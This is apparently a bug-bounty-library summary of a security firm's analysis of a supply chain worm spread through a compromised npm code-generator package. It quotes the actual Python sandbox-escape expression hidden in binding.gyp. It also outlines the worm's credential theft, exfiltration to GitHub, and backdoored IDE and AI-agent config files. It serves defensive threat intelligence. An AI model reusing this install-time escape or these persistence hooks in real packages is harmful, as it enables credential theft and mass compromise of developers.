# Popular code generator for TanStack Query hit by supply chain worm

Compromised npm package @7nohe/openapi-react-query-codegen shipped a binding.gyp Python sandbox escape that ran a credential-stealing, self-propagating worm across npm, PyPI, RubyGems and GitHub.

- Payout: Real-world hack
- Severity: critical
- Program: @7nohe/openapi-react-query-codegen
- Analysis by: Aikido Security
- Disclosed: 2026-08-28
- Write-up quality: 8/10
- Original: https://www.aikido.dev/blog/popular-code-generator-for-tanstack-query-hit-by-supply-chain-worm
- Library page: https://bugbountylibrary.com/r/blog%3Aaikido-dev-blog-popular-code-generator-for-tanstack-query-hit-by-supply-chain-worm
- Tags: area:oss domain:oss impact:data-leak impact:mass-exploit kind:incident platform:threat-intel sev:critical tech:ci-cd tech:github-actions tech:nodejs technique:source-review vuln:dependency-confusion vuln:rce vuln:secrets-leak

**Target:** npm package install hook (binding.gyp / node-gyp) and GitHub Actions workflow
**Root cause:** node-gyp evaluates binding.gyp conditions as Python expressions during npm install, allowing arbitrary code execution without a preinstall script; the attacker also compromised a GitHub Actions workflow to publish with valid provenance.
**Steps:**
1. Compromise project GitHub Actions workflow to obtain publish rights
2. Publish malicious versions containing binding.gyp with a Python condition: `[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')`
3. Set `type` to hex-encoded `none` so no native build occurs
4. On victim `npm install`, node-gyp evaluates the condition and executes the payload
5. Payload XOR-decrypts a 1.6M-element array (key 29), downloads Bun to temp as trinnyyyy-XXXXXX, runs AES-128-GCM inner payload
6. Harvest credentials from env, ~/.npmrc, ~/.aws, IMDS endpoints, kube configs, SSH keys, wallets, AI tool configs
7. Exfiltrate encrypted JSON to attacker-controlled GitHub repo named after Touhou characters
8. Use stolen tokens to republish poisoned packages and commit backdoor files (.vscode/tasks.json, .claude/settings.json, fake codeql.yml) to repos
**How found:** Researcher recognized binding.gyp as an install-time code execution vector (previously reported class), decoded the Unicode/hex-escaped Python condition, then deobfuscated the 5.4MB payload through four encryption layers to map credential theft, evasion checks, and worm logic.
**Exploitation:** Attacker with publish access (via compromised Actions workflow) ships malicious versions; install triggers node-gyp Python eval executing the worm, which harvests cloud/dev credentials, verifies AWS via sts:GetCallerIdentity, exfiltrates RSA-encrypted bundles to public GitHub repos, then uses stolen npm/PyPI/RubyGems/GitHub tokens to propagate to maintainer's other packages and repos, committing IDE/agent hooks that re-execute on developer open.
**Escalation:** Worm self-propagates: stolen registry tokens enumerate all maintainer packages and republish poisoned tarballs; stolen GitHub tokens poison every accessible branch with backdoored .vscode/.claude/.gemini/.cursor/.codex configs and fake CodeQL workflow, achieving persistent re-execution on developer machines.
**Insight:** binding.gyp `conditions` are evaluated as Python by node-gyp at install time even without preinstall scripts — audit any package shipping binding.gyp for Python expressions, and treat valid provenance attestations as meaningless when the signing workflow itself is compromised.
